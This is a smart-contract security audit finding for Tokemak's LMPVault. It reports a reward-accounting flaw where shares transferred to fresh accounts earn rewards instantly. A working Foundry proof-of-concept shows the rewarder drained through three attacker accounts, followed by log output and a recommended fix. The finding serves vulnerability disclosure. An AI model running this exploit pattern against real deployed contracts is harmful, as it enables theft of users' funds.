Rural Saffron Dinosaur

high

# Attacker can steal LMPVault's reward by keep transferring LMPVault's share to attacker's another accounts
## Summary

Due to wrongly placed `rewarder.stake` inside LMPVault, user can abuse this to drain LMPVault's rewards.

## Vulnerability Detail

It can be observed that LMPVault update users reward stake inside `_afterTokenTransfer` (will be triggered when mint or transfer functions triggered) : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L854-L865

```solidity
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        // Nothing to do really do here
        if (from == to) {
            return;
        }

        // If this isn't a burn, then the recipient should be earning in the rewarder
        // "Stake" the tokens there so they start earning
        if (to != address(0)) {
            rewarder.stake(to, amount);
        }
    }
```

inside `rewarder.stake`, it will call `_updateReward` : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/MainRewarder.sol#L86-L93

```solidity
    function stake(address account, uint256 amount) public onlyStakeTracker {
        _updateReward(account);
        _stake(account, amount);

        for (uint256 i = 0; i < extraRewards.length; ++i) {
            IExtraRewarder(extraRewards[i]).stake(account, amount);
        }
    }
```

Inside `_updateReward`, it will update users `rewards` based on users LMPVault shares and also update users `userRewardPerTokenPaid` : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L128-L140 

```solidity
    function _updateReward(address account) internal {
        uint256 earnedRewards = 0;
        rewardPerTokenStored = rewardPerToken();
        lastUpdateBlock = lastBlockRewardApplicable();

        if (account != address(0)) {
            earnedRewards = earned(account);
            rewards[account] = earnedRewards;
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }

        emit UserRewardUpdated(account, earnedRewards, rewardPerTokenStored, lastUpdateBlock);
    }
```

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L204-L206

```solidity
    function earned(address account) public view returns (uint256) {
        return (balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18) + rewards[account];
    }
```

The problem is this `rewarder.stake` called **after** the receiving address balance is updated, if `rewardPerToken()` already non zero and the account is never update ` userRewardPerTokenPaid` (first time stake), the reward will be given instantly.


## Impact

When `rewardPerToken()` already non zero, this will allow attacker to easily drain the rewards by depositing to LMPVault, and keep transferring the LMPVault's shares to fresh attacker accounts, and finally redeem his shares to get base asset back (optional), all operation can be done inside one block. 

Foundry PoC : 

Add this test to `LMPVaultMintingTests` contract and add `import "forge-std/console.sol";` inside `test/vaults/LMPVault-withdraw.t.sol` file. 

```solidity
	function test_steal_reward_attack() public {
		// ADMIN INITIAL LMP VAULT DEPOSIT AND reward SETUP
		_asset.mint(address(this), 10000);
		_asset.approve(address(_lmpVault), 10000);
		assertEq(_lmpVault.balanceOf(address(this)), 0);
		assertEq(_lmpVault.rewarder().balanceOf(address(this)), 0);

		_accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
		_lmpVault.rewarder().addToWhitelist(address(this));
		_toke.mint(address(this), 1000e18);
		_toke.approve(address(_lmpVault.rewarder()), 1000e18);
		_lmpVault.rewarder().queueNewRewards(1000e18);
		uint256 shares = _lmpVault.deposit(10000, address(this));
		// this to make rewardPerToken non-zero
		vm.roll(block.number + 100);
		assertEq(shares, 10000);
		assertEq(_lmpVault.balanceOf(address(this)), 10000);
		assertEq(_lmpVault.rewarder().balanceOf(address(this)), 10000);
		assertEq(_lmpVault.rewarder().earned(address(this)), 1000e18, "earned");
		assertEq(_toke.balanceOf(address(this)), 0);
		console.log("balance of toke inside the rewarder before :");
		console.log(_toke.balanceOf(address(_lmpVault.rewarder())));
		// HACKER STEAL REWARD
		address hacker = makeAddr("hacker");
		address hacker2 = makeAddr("hacker2");
                address hacker3 = makeAddr("hacker3");
		vm.startPrank(hacker);
		_asset.mint(hacker, 5000);
		_asset.approve(address(_lmpVault), 5000);
                console.log("balance of attacker's base asset before attack");
                console.log(_asset.balanceOf(hacker));
		uint256 sharesHacker = _lmpVault.deposit(5000, hacker);
                _lmpVault.transfer(hacker2,_lmpVault.balanceOf(hacker));
                vm.stopPrank();
                vm.startPrank(hacker2);
                _lmpVault.transfer(hacker3,_lmpVault.balanceOf(hacker2));
                vm.startPrank(hacker3);
                _lmpVault.rewarder().getReward();
                _lmpVault.redeem(_lmpVault.balanceOf(hacker3), hacker, hacker3);
                console.log("balance of toke inside the rewarder after :");
	       console.log(_toke.balanceOf(address(_lmpVault.rewarder())));
               console.log("balance of attacker's base asset after attack");
               console.log(_asset.balanceOf(hacker));
               console.log("balance of reward hacker account 1 :");
	       console.log(_toke.balanceOf(hacker));
	       console.log("balance of reward hacker account 2 :");
	       console.log(_toke.balanceOf(hacker2));
               console.log("balance of reward hacker account 3 :");
	       console.log(_toke.balanceOf(hacker3));

	}
```

Run the test : 

```shell
forge test --match-contract LMPVaultMintingTests --match-test test_steal_reward_attack -vvv
```

Log output : 

```diff
Logs:
  balance of toke inside the rewarder before :
  1000000000000000000000
  balance of attacker's base asset before attack
  5000

  balance of toke inside the rewarder after :
  1
  balance of attacker's base asset after attack
  5000
  balance of reward hacker account 1 :
  333333333333333333333
  balance of reward hacker account 2 :
  333333333333333333333
  balance of reward hacker account 3 :
  333333333333333333333
```

## Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L854-L865

## Tool used

Manual Review

## Recommendation

Move `rewarder.stake` of `to` address inside `_beforeTokenTransfer` operation and remove `_afterTokenTransfer` : 

```diff
	function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override whenNotPaused {
		// Nothing to do really do here
		if (from == to) {
			return;
		}

		// If this isn't a mint of new tokens, then they are being transferred
		// from someone who is "staked" in the rewarder. Make sure they stop earning
		// When they transfer those funds
		if (from != address(0)) {
			rewarder.withdraw(from, amount, true);
		}

+		if (to != address(0)) {
+			rewarder.stake(to, amount);
+		}

		// Make sure the destination wallet total share balance doesn't go above the
		// current perWalletLimit
		if (balanceOf(to) + amount > perWalletLimit) {
			revert OverWalletLimit(to);
		}
	}
```

